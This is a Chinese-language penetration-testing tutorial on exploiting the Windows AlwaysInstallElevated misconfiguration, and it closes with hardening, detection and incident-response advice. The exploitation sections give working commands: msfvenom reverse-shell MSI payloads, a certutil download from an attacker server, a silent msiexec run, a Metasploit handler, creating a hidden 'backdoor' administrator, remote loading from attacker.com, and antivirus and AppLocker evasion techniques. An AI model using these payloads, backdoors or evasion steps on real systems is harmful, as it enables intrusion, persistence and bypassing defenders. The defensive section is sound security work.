1. 项目概述从“提权食谱”到实战演练在Windows渗透测试或红队评估的后期阶段我们常常会遇到一个令人兴奋又略带尴尬的局面拿到了一个低权限的Shell比如一个普通用户权限但距离完全控制目标系统还差临门一脚。这时候就需要用到“本地权限提升”这项核心技术。今天要聊的就是一本实战派的“提权食谱”——《Windows Local Privilege Escalation Cookbook》中一个经典且高效的“菜谱”AlwaysInstallElevated漏洞的利用。这个漏洞听起来有点技术范儿但它的核心逻辑却异常简单粗暴。想象一下你家里的微波炉本来只有成年人管理员才能设置高温和长时间运行以防止小孩误操作。但如果有人把微波炉的“儿童锁”永久拆除了并且把遥控器放在了谁都能拿到的地方那么任何人即使是访客都可以用它来加热任何东西甚至可能引发危险。AlwaysInstallElevated就是这个被拆除的“儿童锁”。当系统管理员错误地配置了组策略启用了“始终以高特权安装”选项时就等于赋予了任何登录用户包括Guest账户以SYSTEM权限安装MSI安装包的能力。而MSI安装包本质上是一个可以执行任意脚本和命令的“容器”。于是一个低权限用户就能通过制作一个特殊的MSI包瞬间将自己的权限提升至系统最高级别。这不仅仅是理论在真实的内部网络渗透、攻防演练甚至某些特定场景的应急响应中它都是一个高价值的突破口。我遇到过不止一次在客户的内网漫游时通过简单的命令发现这个策略被启用从而快速完成了权限提升为后续的横向移动打开了大门。接下来我们就从原理到实操一步步拆解这道“提权大餐”。2. 漏洞原理与前置条件深度解析2.1 AlwaysInstallElevated策略的来龙去脉要理解这个漏洞首先得明白Windows Installer服务msiexec.exe的工作机制。在默认情况下安装软件需要管理员权限因为安装过程可能会向受保护的系统目录如C:\Windows、C:\Program Files写入文件、修改注册表或安装服务。这是操作系统安全模型的基本要求。然而为了方便企业环境中的软件部署例如通过组策略推送标准办公软件微软提供了两个关键的组策略设置计算机配置策略计算机配置\管理模板\Windows组件\Windows Installer\始终以提升的权限进行安装。用户配置策略用户配置\管理模板\Windows组件\Windows Installer\始终以提升的权限进行安装。当且仅当这两个策略都被启用时AlwaysInstallElevated机制才会生效。启用后系统会在注册表中创建两个特定的键值作为“开关”HKLM (HKEY_LOCAL_MACHINE) 开关HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated被设置为1。这代表了计算机级别的全局设置。HKCU (HKEY_CURRENT_USER) 开关HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated被设置为1。这代表了当前用户级别的设置。注意很多文章和工具只检查其中一个注册表项这是不严谨的。真正的漏洞利用前提是两者必须同时为1。缺少任何一个msiexec.exe都会回退到正常的权限检查流程导致提权失败。这个设计的初衷是好的在严格控制的域环境中由域管理员统一启用此策略然后普通用户登录后可以无需弹窗UAC就能安装经过审批的MSI软件包。但问题在于这个策略一旦启用它并不区分MSI包的来源和内容。任何用户创建的、包含恶意命令的MSI包也会被以SYSTEM权限执行。2.2 漏洞利用的核心链条漏洞利用的链条非常清晰构成了一个完美的“提权逻辑闭环”权限前提攻击者已获得一个低权限的交互式Shell例如通过钓鱼邮件获得的用户权限或利用某个应用漏洞获得的Web Shell。策略检测攻击者检查目标系统是否同时启用了上述两个组策略通过查询注册表实现。载荷制作如果策略已启用攻击者便可以在当前低权限会话中创建一个MSI安装包。这个安装包的核心不是安装软件而是在其“安装操作”中嵌入要执行的命令例如添加一个管理员用户、启动一个反向Shell、或者直接执行一个SYSTEM权限的Meterpreter载荷。触发执行攻击者使用msiexec.exe命令以/quiet安静模式无界面和/i安装参数来运行这个恶意MSI包。权限跃迁Windows Installer服务以SYSTEM权限运行会解析并执行该MSI包中定义的安装操作。于是包内嵌入的恶意命令便继承了SYSTEM权限攻击者成功完成权限提升。这个链条中最关键的一环是MSI包的生成。我们不需要成为MSI打包专家因为有大量现成工具可以简化这个过程将我们的Payload“封装”进一个合法的MSI结构中。2.3 实战环境与工具准备在开始实操前我们需要准备好“厨房”和“厨具”。假设我们已经在目标机器上获得了一个命令执行环境比如一个普通的cmd.exe。1. 检测工具手动与自动手动检测最可靠直接查询注册表。reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated如果两条命令都返回0x1则漏洞存在。自动检测推荐使用成熟的提权枚举脚本它们能系统性地检查数十种提权可能包括AlwaysInstallElevated。PowerShell: PowerUp.ps1Invoke-AllChecks 模块的一部分功能强大。CMD: winPEAS.batWindows Privilege Escalation Awesome Script 的批处理版本信息全面。Metasploit: post/multi/recon/local_exploit_suggester在Meterpreter会话中自动建议可利用的本地漏洞。2. MSI包生成工具msfvenom (Metasploit)最常用的Payload生成器直接支持生成恶意MSI文件。msfvenom -p windows/x64/shell_reverse_tcp LHOSTYOUR_IP LPORT4444 -f msi -o evil.msiWinRAR / 7-Zip非传统用法。可以创建一个ZIP包将其后缀改为.msi并利用msiexec的某些特性如/q和/i配合特定文件尝试执行但这种方法不稳定且依赖特定系统补丁状态不推荐作为首选。Wix Toolset (Dark)微软官方的MSI打包工具链的一部分。dark.exe可以解包MSIcandle.exe和light.exe可以编译生成MSI。这给了我们手动构造和修改MSI包的能力适合高级定制。3. 监听工具Netcat简易的TCP/UDP监听工具用于接收反向Shell。Metasploit Multi/Handler功能强大的Payload监听器支持稳定连接、会话管理、编码规避等。准备好这些我们就可以开始“烹饪”了。3. 漏洞利用的完整实操流程3.1 第一步信息收集与漏洞确认在拿到一个低权限Shell后切忌盲目操作。首先进行基本的信息收集这能帮你判断目标环境并选择最合适的提权路径。# 查看当前用户权限和组 whoami /all # 查看系统信息架构、版本、补丁 systeminfo | findstr /B /C:OS Name /C:OS Version /C:System Type # 查看网络连接和防火墙状态 netstat -ano netsh advfirewall show allprofiles state确认基本信息后开始专项检测AlwaysInstallElevated。我个人的习惯是先用手动命令快速验证因为最直接延迟最低。echo Checking HKCU... reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2nul echo. echo Checking HKLM... reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2nul如果看到两个键值都是0x1那么恭喜漏洞存在。如果返回“错误系统找不到指定的注册表项或值”则说明该策略未配置这是安全的状态。如果只找到一个那也不构成利用条件。实操心得在某些严格限制的命令执行环境如某些Web Shell下reg query命令可能被禁用。此时可以尝试使用PowerShell命令Get-ItemProperty来查询或者将自动枚举脚本如winPEAS上传到目标执行。上传时要注意杀毒软件可能需要对脚本进行混淆或分割。3.2 第二步生成恶意MSI安装包确认漏洞存在后我们需要制作“特制安装包”。这里以最常用的msfvenom为例演示生成一个反向Shell的MSI。在你的攻击机Kali Linux等上操作# 生成一个x64的反向TCP Shell的MSI包 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f msi -o update.msi-p windows/x64/meterpreter/reverse_tcp: 指定Payload类型。这里选择Meterpreter的reverse_tcp它比普通的shell更稳定、功能更强。LHOST192.168.1.100: 替换为你攻击机的IP地址。LPORT4444: 监听端口。-f msi: 指定输出格式为MSI。-o update.msi: 输出文件名。命名为update.msi、install.msi等看起来人畜无害的名字可以降低警惕性。生成后你需要将这个update.msi文件传输到目标机器上。传输方法取决于你的Shell访问类型具有网络访问权限的Shell可以在攻击机上开启一个简单的HTTP服务python3 -m http.server 80然后在目标机器上用certutil.exe或powershell -c Invoke-WebRequest下载。# 目标机器上执行下载 certutil -urlcache -split -f http://192.168.1.100/update.msi C:\Windows\Temp\update.msi受限环境可能需要分块传输、使用FTP、或者通过SMB共享等方式。注意事项msfvenom生成的MSI文件可能会被现代Windows Defender或其他端点防护软件标记为恶意软件。在实战中你可能需要对Payload进行编码、加密或使用更小众的模板来规避检测。例如可以使用-e参数进行编码或者使用msfvenom的-x参数指定一个干净的MSI模板进行捆绑这需要你先准备一个合法的MSI文件。3.3 第三步在攻击机设置监听器在传输MSI文件的同时我们需要在攻击机上准备好接收反向连接的监听器。使用Metasploit的multi/handlermsfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit -j-j参数表示作为后台任务运行这样你可以在msfconsole里继续执行其他命令。3.4 第四步在目标机器执行MSI安装包当MSI文件成功落地到目标机器例如在C:\Windows\Temp\update.msi后在低权限的Shell中执行以下命令msiexec /quiet /qn /i C:\Windows\Temp\update.msi/quiet和/qn这两个参数都是指定安静模式不显示任何安装界面或提示。在渗透测试中保持隐蔽至关重要。/i指定安装模式后跟MSI文件路径。执行这条命令后Windows Installer服务会启动并以SYSTEM权限处理这个MSI包。包内嵌的Meterpreter Payload随即被执行一个反向TCP连接会从目标机器以SYSTEM身份发起连接到你的攻击机监听器。3.5 第五步接收Shell与权限验证切换回你的Metasploit控制台如果一切顺利你会看到类似下面的会话建立信息[*] Sending stage (201798 bytes) to 192.168.1.50 [*] Meterpreter session 1 opened (192.168.1.100:4444 - 192.168.1.50:49876) at 2023-10-27 10:00:00输入sessions -i 1来交互到这个新会话。现在你可以验证你的权限meterpreter getuid Server username: NT AUTHORITY\SYSTEM看到NT AUTHORITY\SYSTEM就标志着本地权限提升已经成功完成。你现在拥有了目标机器的最高权限可以执行任意操作如抓取哈希、转储密码、安装持久化后门、进行横向移动等。4. 高级利用技巧与规避手段4.1 自定义MSI包与持久化植入msfvenom生成的MSI是通用的但有时我们需要更定制化的操作。例如我们可能想在提权的同时直接添加一个隐藏的管理员用户或者安装一个服务作为持久化后门。方法一使用msfvenom执行自定义命令msfvenom支持-p cmd/windows/powershell_reverse_tcp等Payload但更灵活的是使用-p windows/exec来直接执行一条命令。# 添加一个隐藏的管理员用户 msfvenom -p windows/exec CMDnet user backdoor Pssw0rd! /add net localgroup administrators backdoor /add -f msi -o useradd.msi执行这个MSI就会以SYSTEM权限运行那条CMD命令添加用户并加入管理员组。方法二手动构造MSI包高级对于需要复杂操作如注册服务、写入特定注册表、安装驱动的场景可以学习使用Wix Toolset。编写一个XML格式的Wix源文件.wxs在InstallExecuteSequence中定义自定义动作Custom Action指向一个你编写的VBScript、JScript或二进制文件。使用candle.exe编译.wxs文件为.wixobj。使用light.exe链接.wixobj为.msi文件。 这种方式生成的MSI包行为更隐蔽可以深度集成到系统操作中但门槛也更高。4.2 绕过杀毒软件与应用程序控制在真实环境中最大的障碍往往是终端安全产品。静态查杀msfvenom生成的MSI特征明显。可以尝试编码使用-e参数如x86/shikata_ga_nai进行多次编码。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST... LPORT... -e x86/shikata_ga_nai -i 5 -f msi加壳/混淆使用第三方工具对生成的MSI可执行部分进行加壳但这可能破坏MSI结构。自定义模板使用-x参数指定一个从干净软件安装包如Notepad中提取的MSI作为模板将Payload注入其中。这需要一定的逆向工程知识。行为检测Windows Defender等可能会检测msiexec执行非常规命令的行为。可以尝试延迟执行在MSI包中设置安装后动作让Payload在安装完成几分钟后执行避开实时监控的风口。合法软件伪装制作一个功能基本正常的简单软件安装包比如一个只显示消息框的小工具将恶意代码作为其“更新组件”或“许可协议检查”的一部分增加迷惑性。应用程序控制/AppLocker如果目标系统部署了AppLocker默认策略可能禁止从C:\Windows\Temp等非授权位置执行MSI。此时需要寻找允许执行的路径如用户的AppData目录下的特定子文件夹或者利用已有的、被策略允许的MSI包进行劫持DLL劫持或文件覆盖。4.3 无文件或低文件利用尝试为了最大限度减少痕迹可以尝试不落地MSI文件。远程加载msiexec支持从Web地址直接安装。理论上你可以将恶意MSI放在攻击机的Web服务器上然后执行msiexec /q /i http://attacker.com/evil.msi。但是现代Windows版本和网络策略通常会阻止从互联网区域安装MSI或者会弹出警告降低了隐蔽性。内存执行这是更高级的技术。需要先将MSI文件的内容进行Base64编码或转换成十六进制字符串然后通过PowerShell脚本在内存中解码并加载到某个进程空间再通过API调用触发msiexec的逻辑。这种方法实现复杂稳定性欠佳但几乎不留文件痕迹。通常需要借助像Invoke-ReflectivePEInjection这样的高级PowerShell脚本。5. 防御、检测与应急响应指南5.1 系统加固关闭漏洞之门对于系统管理员和安全运维人员而言防御此漏洞非常简单有效。组策略配置在域控制器或本地组策略编辑器gpedit.msc中找到上述两条策略计算机配置和用户配置下的“始终以提升的权限进行安装”将其设置为“未配置”或“已禁用”。执行gpupdate /force强制刷新组策略。注册表清理直接删除或修改注册表项如果组策略无法立即生效reg delete HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f注意直接修改注册表是临时性的组策略刷新后可能会被覆盖。通过组策略管理是根治方法。最小权限原则确保日常使用的账户不具备本地管理员权限。使用标准用户账户进行日常工作仅在需要时使用“以管理员身份运行”或UAC提权。5.2 安全监控发现攻击痕迹即使策略被错误启用及时的检测也能阻止攻击造成更大破坏。进程监控关注msiexec.exe的启动事件特别是其命令行参数。可疑的迹象包括从临时目录如C:\Windows\Temp\、C:\Users\*\AppData\Local\Temp\执行MSI文件。使用了/quiet、/qn、/q等静默安装参数。父进程是一个低权限的用户进程如cmd.exe、powershell.exe、w3wp.exe等。可以使用Sysmon等高级监控工具配置规则记录msiexec.exe的进程创建事件Event ID 1及其命令行。文件监控监控临时目录中突然出现的.msi文件尤其是文件名看起来像系统更新如update.msi,kb*.msi但来源可疑的文件。网络监控如果攻击者使用反向Shell Payload会发起出站连接。监控内部主机向外部异常IP地址尤其是非标准端口发起的连接。日志分析Windows事件日志中查看应用程序日志来源为MsiInstaller的事件可以记录MSI包的安装、成功或失败信息。虽然静默安装可能日志较少但仍可能留下痕迹。安全日志Event ID 4688可以记录新进程创建配合命令行审计策略可以捕获到msiexec的执行记录。5.3 应急响应攻击发生后的处置如果怀疑或确认系统已被通过此漏洞提权应立即采取以下步骤隔离与取证立即将受影响主机从网络中断开防止横向移动。对内存、磁盘进行镜像取证重点收集msiexec.exe进程信息、临时目录文件、注册表相关键值、以及所有用户会话和登录日志。清除后门检查系统是否被添加了新的用户账户net user。检查计划任务schtasks、服务services.msc、启动项HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run等中是否有可疑的持久化条目。使用杀毒软件或EDR工具进行全盘扫描查杀植入的恶意软件。漏洞修复按照上述“系统加固”步骤立即禁用AlwaysInstallElevated策略。密码重置假设攻击者可能已获取到本地账户的密码哈希通过SYSTEM权限可以转储SAM数据库应考虑重置所有本地管理员账户的密码以及在该机器上登录过的域用户密码。根因分析调查该危险策略是如何被启用的。是管理员的误操作是之前其他攻击者留下的后手还是某个自动化部署脚本的错误配置从源头解决问题防止复发。AlwaysInstallElevated是一个典型的“错误配置”类漏洞它不依赖于复杂的代码缺陷而是源于一个危险的安全策略被开启。对于攻击者它是一个快速、高效的提权捷径对于防御者它则是一个需要时刻保持警惕的安全死角。理解其原理、掌握其利用方法、并熟知如何防御和检测是每一位从事Windows安全相关工作的人员的必修课。在实战中它往往不是唯一的选择但当你发现那两个注册表键值都为1时那感觉就像在迷宫中找到了一条标有“出口”的直道。